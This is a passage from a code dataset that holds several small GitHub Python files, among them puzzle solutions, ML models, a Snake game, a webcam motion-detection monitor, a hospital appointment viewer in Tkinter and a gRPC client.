1\\input.txt\", \"r\")\r\n\r\ntempCal = 0\r\ncalList = []\r\nfor line in f:\r\n if(line==\"\\n\"):\r\n calList.append(tempCal)\r\n tempCal = 0\r\n else:\r\n tempCal += int(line)\r\n \r\ncalList.sort()\r\nprint(sum(calList[-3:]))\r\n","repo_name":"AxillV/advent-of-code-2022","sub_path":"Day 1/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"70194354824","text":"import numpy as np\nfrom tqdm import tqdm\nclass UGMM:\n def __init__(self, X) -> None:\n self.X = X\n self.N = X.shape[0]\n self.xbar = X.mean()\n self.ELBO = [1, 2]\n self.sum_x = self.X.sum()\n self.sum_x_squared = (self.X**2).sum()\n \n def initialize(self):\n self.mu_0 = 0\n self.lambda_0 = 0\n self.a_0 = (self.N + 1) / 2 \n self.b_0 = 0\n\n self.a_n = self.a_0 + (self.N+1) / 2\n self.mu_n = (self.lambda_0*self.mu_0 + self.N*self.xbar)/(self.lambda_0 + self.N)\n self.lambda_n = np.random.rand(1)\n\n self.mu = (self.N*self.xbar + self.mu_0)/(self.N+1)\n\n def fit(self, max_iter, tol=1e-15):\n self.initialize()\n i = 0\n while i < max_iter and abs(self.ELBO[-1] - self.ELBO[-2]) > tol:\n self.b_n = self.b_0 + 0.5*((self.lambda_0 + self.N)*(self.lambda_n**-1 + self.mu_n**2) -2*((self.lambda_0*self.mu_0) + self.sum_x) + self.sum_x_squared + self.lambda_0*self.mu_0**2)\n self.lambda_n = (self.lambda_0 + self.N) * (self.a_n/self.b_n)\n self.ELBO.append(self.compute_elbo())\n i += 1\n # print(f\"Converged at iteration {i} with following parameters:\")\n # print(f\"mu: {self.mu_n}\")\n # print(f\"lambda: {self.lambda_n}\")\n # print(f\"a: {self.a_n}\")\n # print(f\"b: {self.b_n}\")\n \n def compute_q_mu(self):\n return -0.5 * self.lambda_n * (np.sum((self.X - self.mu)**2) + self.lambda_0*(self.mu - self.mu_0)**2)\n\n def compute_q_tau(self):\n return (self.a_0 - 1) * np.log(self.lambda_n) + self.N*np.log(self.lambda_n)*0.5 - self.lambda_n*self.b_n\n\n def compute_elbo(self):\n x_mu_sq = np.sum((self.X-self.mu)**2)\n cov_term = -0.5 * (1/self.lambda_n)\n logp_x = cov_term * x_mu_sq\n\n logp_mu = cov_term * np.sum((self.X-self.mu_0)**2)\n logp_sigma = (-self.a_0 -1) * np.log(self.lambda_n) - (self.b_0/self.lambda_n)\n \n logq_mu = self.compute_q_mu()\n logq_tau = self.compute_q_tau()\n \n return logp_x + logp_mu + logp_sigma - logq_mu - logq_tau\n ","repo_name":"novialife/Advanced-Machine-Learning","sub_path":"1/3/UGMM.py","file_name":"UGMM.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"39421161404","text":"# https://leetcode.com/problems/reverse-linked-list/\r\nfrom typing import Optional\r\n\r\nfrom collections import deque\r\n\r\n\r\n# Definition for singly-linked list.\r\nclass ListNode:\r\n def __init__(self, val=0, next=None):\r\n self.val = val\r\n self.next = next\r\n\r\n def __repr__(self): return f'Node({self.val})'\r\n\r\n\r\nclass Solution:\r\n def reverse(self, current, prev):\r\n current_next = current.next\r\n current.next = prev\r\n return current if not current_next else self.reverse(current_next, current)\r\n\r\n def reverseList(self, head: Optional[ListNode]) -> Optional[ListNode]:\r\n if not head:\r\n return\r\n return self.reverse(head, None)\r\n\r\n\r\nnode = ListNode\r\n\r\nsolution = Solution()\r\na = node(1, node(2, node(4)))\r\nb = node(4, node(2, node(1)))\r\n\r\n\r\ndef compare_ll(a, b):\r\n while a and b:\r\n if a.val != b.val:\r\n return False\r\n a = a.next\r\n b = b.next\r\n return not a and not b\r\n\r\n\r\ndef check(a, b):\r\n result = solution.reverseList(a)\r\n assert compare_ll(result, b)\r\n\r\n\r\ncheck(a, b)\r\ncheck(None, None)\r\ncheck(node(1), node(1))\r\ncheck(node(1, node(2)), node(2, node(1)))\r\n","repo_name":"thinhntr/cp","sub_path":"leetcode/Reverse Linked List.py","file_name":"Reverse Linked List.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"35715062242","text":"from keras import backend as K\nfrom keras.layers import Input, Dense, Embedding, GRU, TimeDistributed, Concatenate, RepeatVector, Permute, Lambda, Bidirectional, Multiply\nfrom keras.models import Model\n\ndef AttentionGRU(input_shape, gru_dim=256, dropout=0.5, return_sequences=False):\n time_steps, embedding_dim = input_shape\n i = Input(shape=(time_steps, embedding_dim, ), dtype='float32')\n g = Bidirectional(GRU(gru_dim, dropout=dropout, return_sequences=True))(i)\n a = Permute((2, 1))(g)\n a = Dense(time_steps, activation='softmax')(a)\n a_probs = Permute((2, 1), name='attention_vec')(a)\n m = Multiply(name='attention_mul')([g, a_probs])\n if return_sequences:\n return Model(i, m, name='attention')\n o = Lambda(lambda x: K.sum(x, axis=1))(m)\n return Model(i, o, name='attention')\n","repo_name":"iwasa-kosui/keras-easy-attention","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"14281890062","text":"import pygame\nimport random\n \npygame.init()\n \nwindow = pygame.display.set_mode((500,540))\npygame.display.set_caption(\"Snake (hisssssssssssss)\")\n\nglobal run \nrun = True\n \nhead_x = 100\nhead_y = 140\n\nfps = 5\nclock = pygame.time.Clock()\n \nvelocity_x = 0\nvelocity_y = 0\n\nglobal body_info\nbody_info = []\n\nhead_pos = [head_x, head_y]\nbody_info.append(head_pos)\n\ndef generate_food(head_x, head_y):\n fruit_x = random.randint(0,499)\n fruit_y = random.randint(40,539)\n fcentre_x = (20*(fruit_x//20))+10\n fcentre_y = (20*(fruit_y//20))+10\n\n for i in range (0, len(body_info)):\n if (fcentre_x-10 == body_info[i][0]) and (fcentre_y-10 == body_info[i][1]):\n fruit_x = random.randint(0,499)\n fruit_y = random.randint(40,539)\n fcentre_x = 20*(fruit_x//20)+10\n fcentre_y = 20*(fruit_y//20)+10\n\n fruit_coordinates = (fcentre_x, fcentre_y)\n return fruit_coordinates\n\n \ndef make_grid():\n window.fill((255,255,255))\n diff = 20\n x = 0\n y = 20\n for i in range (0,25):\n x = x + diff\n y = y + diff\n pygame.draw.line(window, (0,0,0), (x,40), (x,540))\n pygame.draw.line(window, (0,0,0), (0,y), (500,y))\n \nfont = pygame.font.SysFont(\"Bookman Old Style\", 18)\nglobal scores\nscores = []\ndef display_score(font):\n score = len(scores)\n pygame.draw.rect(window, (255, 255,0) , (5, 5, 150,30))\n score_num = font.render(str(score), True, (0,0,0))\n score_text = font.render(\"SCORE:\", True, (0,0,0))\n window.blit(score_text,( 5+((100-score_text.get_width())//2), 5+((30-score_text.get_height())//2)))\n window.blit(score_num,( 105, 5+((30-score_num.get_height())//2)))\n\n\nfont2 = pygame.font.SysFont(\"Bookman Old Style\", 32)\ndef game_over(show_string):\n window.fill((0,0,0))\n game_over_text = font2.render(\"GAME OVER :(\", True, (255,255,255))\n print_string = font2.render(show_string, True, (255,255,255))\n score_string = font2.render(\"Your Score was:\", True, (255,255,255))\n score_num_string = font2.render(str(len(scores)), True, (255,255,255))\n window.blit(game_over_text,(((500-game_over_text.get_width())//2),180))\n window.blit(print_string,(((500-print_string.get_width())//2),240))\n window.blit(score_string,(((500-score_string.get_width())//2)-30,300))\n window.blit(score_num_string,(score_string.get_width()+((500-score_string.get_width())//2),300))\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n pygame.quit()\n quit()\n\ndef coordinates(velx, vely):\n for i in range (1,len(body_info)):\n body_info[-i][0] = body_info[-(i+1)][0]\n body_info[-i][1] = body_info[-(i+1)][1]\n \n body_info[0][0] += velx\n body_info[0][1] += vely\n\n\ndef increase_len():\n new_block_x = body_info[-1][0] - 20\n new_block_y = body_info[-1][1]\n add_thing = [new_block_x, new_block_y]\n body_info.append(add_thing)\n draw_body()\n\n\ndef draw_body():\n l = len(body_info)\n for i in range (0,l):\n pygame.draw.rect(window, (0, 255,0) , (body_info[i][0], body_info[i][1], 20,20))\n pygame.draw.circle(window, (100,100,100), (body_info[i][0]+10, body_info[i][1]+10), 3)\n pygame.draw.rect(window, (0, 0,0) , (body_info[0][0]+4, body_info[0][1]+4, 12, 12))\n \ndef check_collision():\n check_x = body_info[0][0]//20\n check_y = body_info[0][1]//20\n if (check_x > 25) or (check_y > 27) or (check_x < 0) or (check_y < 2):\n #print(\"You Lost! GAME OVER\")\n game_over(\"You hit a wall.\")\n return False\n #pygame.quit()\n else:\n return True\n\n \ndef check_food(fruitx, fruity, sxores):\n food_x = fruitx-10\n food_y = fruity-10\n if (body_info[0][0] == food_x) and (body_info[0][1] == food_y):\n global fcentre_x #TIP: This is a horrible way to do this, but it works. You should instead have a function which returns these values and set it elsewhere\n global fcentre_y\n fcentre_x, fcentre_y = generate_food(body_info[0][0], body_info[0][1])\n scores.append(1)\n increase_len()\n\nfcentre_x, fcentre_y = generate_food(head_x, head_y)\n\nwhile run:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n pygame.quit()\n \n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RIGHT:\n velocity_x = 20\n velocity_y = 0\n \n if event.key == pygame.K_LEFT:\n velocity_x = -20\n velocity_y = 0\n \n if event.key == pygame.K_UP:\n velocity_x = 0\n velocity_y = -20\n \n if event.key == pygame.K_DOWN:\n velocity_x = 0\n velocity_y = 20\n \n make_grid()\n display_score(font)\n coordinates(velocity_x, velocity_y)\n draw_body()\n pygame.draw.circle(window, (255,0,0), (fcentre_x, fcentre_y), 10)\n run = check_collision()\n for i in range (1,len(body_info)):\n if body_info[0] == body_info[i]:\n game_over(\"You bit yourself.\")\n run = False\n break\n check_food(fcentre_x, fcentre_y, scores)\n pygame.display.update()\n clock.tick(fps)\n","repo_name":"HarshitaJain22/Games","sub_path":"snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":5201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"42383803496","text":"import sys\nimport datetime\nimport docopt\nimport logging\nimport multiprocessing\nimport os\nif sys.version_info[0] <= 2:\n from pathlib2 import Path\nelse:\n from pathlib import Path\nimport platform\nimport signal\nimport threading\nimport time\nimport uuid\n\nimport cv2.cv as cv\nimport propyte\nimport pyprel\nimport scalar\nimport shijian\nimport technicolor\nimport tonescale\n\nname = \"sentinel\"\n__version__ = \"2019-05-28T1348Z\"\n\nglobal log\n\ndef main():\n global log\n log = logging.getLogger(name)\n log.addHandler(technicolor.ColorisingStreamHandler())\n log.setLevel(logging.INFO)\n options = docopt.docopt(__doc__, version = __version__)\n\n FPS = int(options[\"--fps\"])\n detection_threshold = int(options[\"--detection_threshold\"])\n record_on_motion_detection = options[\"--record_on_motion_detection\"].lower() == \"true\"\n display_windows = options[\"--display_windows\"].lower() == \"true\"\n record_directory = options[\"--record_directory\"]\n speak = options[\"--speak\"].lower() == \"true\"\n alarm = options[\"--alarm\"].lower() == \"true\"\n message = options[\"--message\"].lower() == \"true\"\n instance = options[\"--instance\"].lower() == \"true\"\n delay_launch = int(options[\"--launch_delay\"])\n duration_record = int(options[\"--record_duration\"])\n day_run_time = None if options[\"--day_run_time\"].lower() == \"none\" else options[\"--day_run_time\"]\n\n if instance:\n ID = \"{node}_{UUID4}: \".format(node = platform.node(), UUID4 = str(uuid.uuid4())[:8])\n else:\n ID = \"\"\n\n pyprel.print_line()\n log.info(pyprel.center_string(text = pyprel.render_banner(text = name.upper())))\n pyprel.print_line()\n log.info(name + \" \" + __version__)\n\n global clock_restart\n clock_restart = shijian.Clock(name=\"restart\")\n restart_control = multiprocessing.Process(target=restart_from_suspend)\n restart_control.start()\n\n if message:\n try:\n scalar.alert(message = \"{ID}{name} monitoring and alerting started\".format(ID = ID, name = name))\n except:\n log.error(\"error sending message\")\n log.info(\"\\n^c to stop\\n\")\n log.info(\"\\nlaunch motion detection in {time} s\\n\".format(time = delay_launch))\n detect = motion_detector(\n delay_launch = delay_launch,\n duration_record = duration_record,\n detection_threshold = detection_threshold,\n FPS = FPS,\n record_on_motion_detection = record_on_motion_detection,\n display_windows = display_windows,\n record_directory = record_directory,\n speak = speak,\n alarm = alarm,\n message = message,\n ID = ID,\n day_run_time = day_run_time\n )\n detect.run()\n\ndef restart_from_suspend():\n while True:\n time.sleep(5)\n if clock_restart.time() >= 300:\n log.error(\"restart from suspend\")\n os.execv(__file__, sys.argv)\n clock_restart.reset()\n clock_restart.start()\n\nclass motion_detector(object):\n \n def change_detection_threshold(\n self,\n value\n ):\n self.detection_threshold = value\n \n def __init__(\n self,\n delay_launch = 5,\n duration_record = 20,\n detection_threshold = 2,\n FPS = 30,\n record_on_motion_detection = True,\n display_windows = True,\n record_directory = \"./record\",\n speak = True,\n alarm = True,\n message = True,\n ID = \"\",\n day_run_time = None\n ):\n self.delay_launch = delay_launch\n self.duration_record = duration_record\n self.detection_threshold = detection_threshold\n self.FPS = FPS\n self.record_on_motion_detection = record_on_motion_detection\n self.display_windows = display_windows\n self.record_directory = Path(record_directory).expanduser()\n self.speak = speak\n self.alarm = alarm\n self.message = message\n self.ID = ID\n self.day_run_time = day_run_time\n self.video_saver = None\n self.font = None\n self.frame = None\n self.last_image_send_time = datetime.datetime.utcnow() - datetime.timedelta(days = 1)\n\n self.capture = cv.CaptureFromCAM(0)\n self.frame = cv.QueryFrame(self.capture)\n\n if not self.record_directory.exists():\n log.info(\"make directory {directory}\".format(directory = self.record_directory))\n self.record_directory.mkdir(parents = True)\n if record_on_motion_detection: self.recorder()\n self.frame_grayscale = cv.CreateImage(\n cv.GetSize(self.frame), # size\n cv.IPL_DEPTH_8U, # depth\n 1 # channels\n )\n self.average_frame = cv.CreateImage(\n cv.GetSize(self.frame), # size\n cv.IPL_DEPTH_32F, # depth\n 3 # channels\n )\n self.frame_absolute_difference = None\n self.frame_previous = None\n self.area_frame = self.frame.width * self.frame.height\n self.area_contours_current = 0\n self.contours_current = None\n self.recording = False\n self.trigger_time = 0\n if display_windows:\n cv.NamedWindow(name)\n cv.CreateTrackbar(\n \"detection threshold: \",\n name,\n self.detection_threshold,\n 100,\n self.change_detection_threshold\n )\n\n def recorder(\n self\n ):\n filepath = str(self.record_directory) + \"/\" + shijian.filename_time_UTC(extension = \".avi\")\n codec = cv.CV_FOURCC(\"D\", \"I\", \"V\", \"X\") # MPEG-4 4-character codec code\n log.info(\"record to {filepath}\\n\".format(filepath = filepath))\n self.video_saver = cv.CreateVideoWriter(\n filepath, # filepath\n codec, # codec\n self.FPS, # FPS\n cv.GetSize(self.frame), # size\n 1 # bool color\n )\n self.font = cv.InitFont(\n cv.CV_FONT_HERSHEY_PLAIN, # font: font object\n 1, # font_face: font identifier\n 1, # hscale: scale horizontal\n 0, # vscale: scale vertical\n 2, # shear: tangent to vertical\n 5 # thickness\n )\n\n def run(\n self\n ):\n time_start = datetime.datetime.utcnow()\n while shijian.in_daily_time_range(time_range = self.day_run_time) in [True, None]:\n frame_current = cv.QueryFrame(self.capture)\n time_current = datetime.datetime.utcnow()\n self.process_image(frame_current)\n if not self.recording and self.day_run_time is None or shijian.in_daily_time_range(time_range = self.day_run_time):\n # If motion is detected, depending on configuration, send an alert, start recording and speak an alert.\n if self.movement():\n self.trigger_time = time_current\n if time_current > time_start + datetime.timedelta(seconds = self.delay_launch):\n log.info(\"{timestamp} motion detected\".format(timestamp = shijian.time_UTC(style = \"YYYY-MM-DD HH:MM:SS UTC\")))\n if self.message:\n try:\n scalar.alert(message = \"{ID}motion detected at {timestamp}\".format(ID = self.ID, timestamp = self.trigger_time))\n except:\n log.error(\"error sending message\")\n if self.speak: propyte.say(text = \"motion detected\")\n if self.alarm:\n thread_play_alarm = threading.Thread(target = self.play_alarm)\n thread_play_alarm.daemon = True\n thread_play_alarm.start()\n if self.record_on_motion_detection:\n log.info(\"start recording\")\n self.recording = True\n cv.DrawContours(\n frame_current, # image\n self.contours_current, # contours\n (0, 0, 255), # external (external contour) color\n (0, 255, 0), # hole (internal contour) color\n 1, # maximum level\n 2, # line thickness\n cv.CV_FILLED # line connectivity\n )\n else:\n if time_current >= self.trigger_time + datetime.timedelta(seconds = self.duration_record):\n log.info(\"stop recording, watch for motion\")\n self.recording = False\n else:\n cv.PutText(\n frame_current, # frame\n shijian.time_UTC(style = \"YYYY-MM-DD HH:MM:SS UTC\"), # text\n (25, 30), # coordinates\n self.font, # font object\n 0 # font scale\n )\n if (datetime.datetime.utcnow() - self.last_image_send_time).total_seconds() >= 60:\n # Save and, if specified, send an image.\n filename_image = shijian.filename_time_UTC(extension = \".png\")\n cv.SaveImage(str(self.record_directory) + \"/\" + filename_image, frame_current)\n if self.message:\n try:\n scalar.send_image(str(self.record_directory) + \"/\" + filename_image)\n except:\n log.error(\"error sending message\")\n self.last_image_send_time = datetime.datetime.utcnow()\n cv.WriteFrame(self.video_saver, frame_current)\n if self.display_windows:\n cv.ShowImage(name, frame_current)\n # Break if Escape is encountered.\n code_key = cv.WaitKey(1) % 0x100\n if code_key == 27 or code_key == 10:\n break\n\n def process_image(\n self,\n frame\n ):\n cv.Smooth(frame, frame)\n if not self.frame_absolute_difference:\n # Create initial values for absolute difference, temporary frame and moving average.\n self.frame_absolute_difference = cv.CloneImage(frame)\n self.frame_previous = cv.CloneImage(frame)\n cv.Convert(\n frame,\n self.average_frame\n )\n else:\n # Calculate the moving average.\n cv.RunningAvg(\n frame,\n self.average_frame,\n 0.05\n )\n cv.Convert(self.average_frame, self.frame_previous)\n # Calculate the absolute difference between the moving average and the frame.\n cv.AbsDiff(\n frame,\n self.frame_previous,\n self.frame_absolute_difference\n )\n # Convert to grayscale and set threshold.\n cv.CvtColor(\n self.frame_absolute_difference,\n self.frame_grayscale,\n cv.CV_RGB2GRAY\n )\n cv.Threshold(\n self.frame_grayscale, # input array\n self.frame_grayscale, # output array\n 50, # threshold value\n 255, # maximum value of threshold types\n cv.CV_THRESH_BINARY # threshold type\n )\n cv.Dilate(\n self.frame_grayscale, # input array\n self.frame_grayscale, # output array\n None, # kernel\n 15 # iterations\n )\n cv.Erode(\n self.frame_grayscale, # input array\n self.frame_grayscale, # output array\n None, # kernel\n 10 # iterations\n )\n\n def movement(\n self\n ):\n # Find contours.\n storage = cv.CreateMemStorage(0)\n contours = cv.FindContours(\n self.frame_grayscale, # image\n storage, # contours\n cv.CV_RETR_EXTERNAL, # mode: external contours\n cv.CV_CHAIN_APPROX_SIMPLE # method\n )\n self.contours_current = contours\n # Calculate the area for all contours.\n while contours:\n self.area_contours_current += cv.ContourArea(contours)\n contours = contours.h_next()\n # Calculate the percentage of the frame area that is contour area.\n percentage_of_frame_area_that_is_contour_area =\\\n (self.area_contours_current * 100) / self.area_frame\n self.area_contours_current = 0\n if percentage_of_frame_area_that_is_contour_area > self.detection_threshold:\n return True\n else:\n return False\n\n def play_alarm(self):\n try:\n sound = tonescale.access_sound(name = \"DynamicLoad_BSPNostromo_Ripley.023\")\n sound.repeat(number = 1)\n sound.play(background = True)\n except:\n pass\n\ndef signal_handler(signal, frame):\n sys.exit()\n\nsignal.signal(signal.SIGINT, signal_handler)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"wdbm/sentinel","sub_path":"sentinel/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":14467,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"19486469781","text":"from tkinter import *\r\nfrom PIL import ImageTk,Image\r\nimport pymysql\r\nfrom tkinter import messagebox\r\n##database connection\r\nconnection=pymysql.connect(host=\"localhost\",user=\"root\",password=\"\",database=\"hospital_mngmnt\")\r\nprint(\"conection success\")\r\ncursor=connection.cursor()\r\nwindow=Tk()\r\n\r\ndef front_page():\r\n window.destroy()\r\n import front_page\r\n\r\ndef admin_panel():\r\n window.destroy()\r\n import admin_panel\r\nwindow.geometry(\"1500x1700\")\r\nwindow.configure(bg='')\r\n\r\nLabel(window,text=\"New Appoinments\",font=('Ariel',20,'bold')).grid(row=0,column=0,columnspan=50,pady=100,padx=100)\r\nLabel(window,text=\"Patient\\nId\",font=\"time 12 bold\",fg='red').grid(row=1,column=0,padx=10,pady=10)\r\nLabel(window,text=\"Patient\\nName\",font=\"time 12 bold\",fg='red').grid(row=1,column=1,padx=10,pady=10)\r\nLabel(window,text=\"Age\",font=\"time 12 bold\",fg='red').grid(row=1,column=2,padx=10,pady=10)\r\nLabel(window,text=\"Gender\",font=\"time 12 bold\",fg='red').grid(row=1,column=3,padx=10,pady=10)\r\nLabel(window,text=\"Address\",font=\"time 12 bold\",fg='red').grid(row=1,column=4,padx=10,pady=10)\r\nLabel(window,text=\"Appoinment\\nTime\",font=\"time 12 bold\",fg='red').grid(row=1,column=5,padx=10,pady=10)\r\nLabel(window,text=\"Appoinment\\nDate\",font=\"time 12 bold\",fg='red').grid(row=1,column=6,padx=10,pady=10)\r\nLabel(window,text=\"Doctor\",font=\"time 12 bold\",fg='red').grid(row=1,column=7,padx=10,pady=10)\r\nLabel(window,text=\"Contact\\nno\",font=\"time 12 bold\",fg='red').grid(row=1,column=8,padx=10,pady=10)\r\n# Label(window,text=\"Actions\",font=\"time 12 bold\",fg='red').grid(row=1,column=9,padx=10,pady=10)\r\n\r\n\r\n###Fetching\r\ncursor.execute(\"SELECT * FROM appoinment where approval=0\")\r\nresult=cursor.fetchall()\r\nnum=2\r\n\r\nfor i in result:\r\n\r\n\r\n Id = Label(window, text=i[0], fg=\"black\", font=(\"Ariel\", 12, \"bold\")).grid(row=num, column=0, padx=10, pady=10)\r\n Name=Label(window,text=i[1],fg=\"black\",font=(\"Ariel\",12,\"bold\")).grid(row=num,column=1,padx=10,pady=10)\r\n Age=Label(window, text=i[2], fg=\"black\", font=(\"Ariel\", 12, \"bold\")).grid(row=num,column=2,padx=10,pady=10)\r\n gender = Label(window, text=i[3], fg=\"black\", font=(\"Ariel\", 12, \"bold\")).grid(row=num,column=3,padx=10,pady=10)\r\n address = Label(window, text=i[4], fg=\"black\", font=(\"Ariel\", 12, \"bold\")).grid(row=num,column=4,padx=10,pady=10)\r\n aptime = Label(window, text=i[5], fg=\"black\", font=(\"Ariel\", 12, \"bold\")).grid(row=num,column=5,padx=10,pady=10)\r\n apdate = Label(window, text=i[9], fg=\"black\", font=(\"Ariel\", 12, \"bold\")).grid(row=num, column=6, padx=10, pady=10)\r\n doctor = Label(window, text=i[6], fg=\"black\", font=(\"Ariel\", 12, \"bold\")).grid(row=num, column=7, padx=10, pady=10)\r\n ph = Label(window, text=i[7], fg=\"black\", font=(\"Ariel\", 12, \"bold\")).grid(row=num,column=8,padx=10,pady=10)\r\n # Button(window,text='Approve',bg='steelblue',command=patient_view(Id)).grid(row=num,column=9,padx=10,pady=10)\r\n # Button(window, text='Delete',bg='steelblue').grid(row=num, column=9, padx=10, pady=10)\r\n num=num+1\r\n\r\n\r\n\r\nButton(window,text=\"Back To Admin Panel\",bd=2,bg=\"sky blue\",fg=\"blue\",font=(\"Ariel\",13,\"bold\"),command=admin_panel).place(x=680,y=700)\r\n# frame.place(x=0,y=150)\r\n\r\nwindow.mainloop()\r\n","repo_name":"umarohinigithub/Hospital-Management","sub_path":"appoinment_view.py","file_name":"appoinment_view.py","file_ext":"py","file_size_in_byte":3370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"39092666502","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nimport textwrap\n\nimport google.protobuf.empty_pb2\nimport grpc\n\nimport users_pb2\nimport users_pb2_grpc\n\n\n_EMPTY = google.protobuf.empty_pb2.Empty()\n\n\ndef insert_user(stub, first_name, last_name):\n user = users_pb2.User(first_name=first_name, last_name=last_name)\n response = stub.AddUser(user)\n print(f\"Inserted user:\\n{textwrap.indent(str(response), ' ')}\")\n\n\ndef main():\n grpc_port = os.environ.get(\"GRPC_PORT\", 50051)\n\n address = f\"localhost:{grpc_port}\"\n with grpc.insecure_channel(address) as channel:\n stub = users_pb2_grpc.UsersStub(channel)\n # Insert users.\n insert_user(stub, \"Bob\", \"Green\")\n insert_user(stub, \"Alice\", \"Redmond\")\n # Get users.\n print(\"Retrieving users:\")\n for user in stub.GetUsers(_EMPTY):\n print(f\" User:\\n{textwrap.indent(str(user), ' ')}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"dhermes/tcp-h2-describe","sub_path":"_bin/call_grpc.py","file_name":"call_grpc.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"42867481715","text":"import sys\r\nfrom collections import deque\r\ninput = sys.stdin.readline\r\n\r\ndef bfs(x):\r\n q = deque([x])\r\n cnt = 0\r\n while q:\r\n now = q.popleft()\r\n if not visited[now]:\r\n visited[now] = True\r\n cnt += 1\r\n d[now-1] = cnt\r\n for i in graph[now]:\r\n q.append(i)\r\n\r\nn, m, r = map(int, input().split())\r\ngraph = [[] for _ in range(n+1)]\r\nvisited = [False]*(n+1)\r\nd = [0] * (n)\r\nfor _ in range(m):\r\n a, b = map(int, input().split())\r\n graph[a].append(b)\r\n graph[b].append(a)\r\ngraph = [sorted(i) for i in graph]\r\nbfs(r)\r\nprint(*d,sep='\\n')","repo_name":"iblug/Baekjoon","sub_path":"백준/Silver/24444. 알고리즘 수업 - 너비 우선 탐색 1/알고리즘 수업 - 너비 우선 탐색 1.py","file_name":"알고리즘 수업 - 너비 우선 탐색 1.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"22860469531","text":"'''Fit a Cox-Hazard model based on a given morphometric feature.\n\n1. build a pdf for each patient based on given morph feature\n2. Use pdf as input to a Cox-Hazard Regression\n'''\nimport pandas as pd\nfrom pathlib import Path\nimport argparse\nfrom lifelines import CoxPHFitter\nimport time\nfrom multiprocessing import Pool\nfrom itertools import repeat\nimport numpy as np\n\n\n# GLOBALS\nDATA_DIR = Path('/home/gwinkelmaier/MILKData/NCI-GDC/LGG/Tissue_slide')\n\n# FUNCTIONS\ndef _get_bounds(args):\n '''Return the feature min/max for a given wsi.'''\n wsi = args[0]\n feature = args[1]\n df = pd.read_json(wsi + '/2021/all_features.json')\n if feature == 'color_ratio':\n df = df[df['c_avg'] > 0.01]\n df[feature] = df['n_avg'] / df['c_avg']\n\n if feature == 'total_chrom':\n df['total_chrom'] = df['area'] * df['n_avg']\n\n return df[feature].min(), df[feature].max()\n\ndef _create_pdf(args):\n '''Create a pdf on the given feature and global scale.\n\n args:\n wsi, feature, number of bins, global min, global max.\n '''\n wsi = args[0]\n feature = args[1]\n n_bins = args[2]\n g_min = args[3]\n g_max = args[4]\n\n df = pd.read_json(wsi + '/2021/all_features.json')\n\n if feature == 'color_ratio_proposed':\n df = df[df['c_avg_proposed'] > 0.01]\n df[feature] = df['n_avg_proposed'] / df['c_avg_proposed']\n\n elif feature == 'color_ratio_ruifrok':\n df = df[df['c_avg_ruifrok'] > 0.01]\n df[feature] = df['n_avg_ruifrok'] / df['c_avg_ruifrok']\n\n elif feature == 'total_chrom_proposed':\n df['total_chrom'] = df['area'] * df['n_avg_proposed']\n if feature == 'total_chrom':\n df['total_chrom'] = df['area'] * df['n_avg']\n\n\n elif feature == 'total_chrom_ruifrok':\n df['total_chrom'] = df['area'] * df['n_avg_ruifrok']\n\n step_size = (g_max - g_min) / n_bins\n bins = np.arange(g_min, g_max + step_size, step_size)\n print(bins)\n pdf, bins = np.histogram( df[feature].values, bins=bins)\n pdf = np.divide(pdf, np.sum(pdf))\n\n pd.DataFrame({'bins':np.round(bins[:-1], 2), 'pdf':pdf}).to_csv(wsi + f\"/2021/pdf_{feature}_{n_bins}_manualBounds.csv\", index=False)\n print(wsi + f\"/2021/pdf_{feature}_{n_bins}_manualBounds.csv\")\n\ndef _load_config(feature):\n '''Load saved min/max values for a given feature.'''\n with open(Path.cwd()/f\"{feature}_stats.csv\", 'r') as fid:\n content = fid.readlines()\n g_min, g_max = content[0].rstrip('\\n').split(',')\n return float(g_min), float(g_max)\n\n\n# MAIN\ndef main():\n '''Main Entrypoint.'''\n # Get Input Arguments\n parser = argparse.ArgumentParser(prog='cox-hazard.py', description='Cox-Hazard Proportional analysis for a given morphometric feature.')\n parser.add_argument('FEATURE', type=str, help='mophometric feature')\n parser.add_argument('-n', '--nbins', dest='N_BINS', type=int, default=10, help='Number of pdf bins')\n flags = vars(parser.parse_args())\n\n p = None\n\n # Get a list of WSI\n wsi_list = [str(i) for i in DATA_DIR.iterdir() if (i/'2021/all_features.json').exists()]\n\n # Create global min/max for the feature\n if (Path.cwd() / f\"{flags['FEATURE']}_stats.csv\").exists():\n cohort_min, cohort_max = _load_config(flags['FEATURE'])\n print(f\"Loaded min/max values: {cohort_min}, {cohort_max}\")\n else:\n p = Pool(5)\n outputs = p.map(_get_bounds, zip(wsi_list, repeat(flags['FEATURE'])))\n cohort_min = np.inf\n cohort_max = -1\n for output in 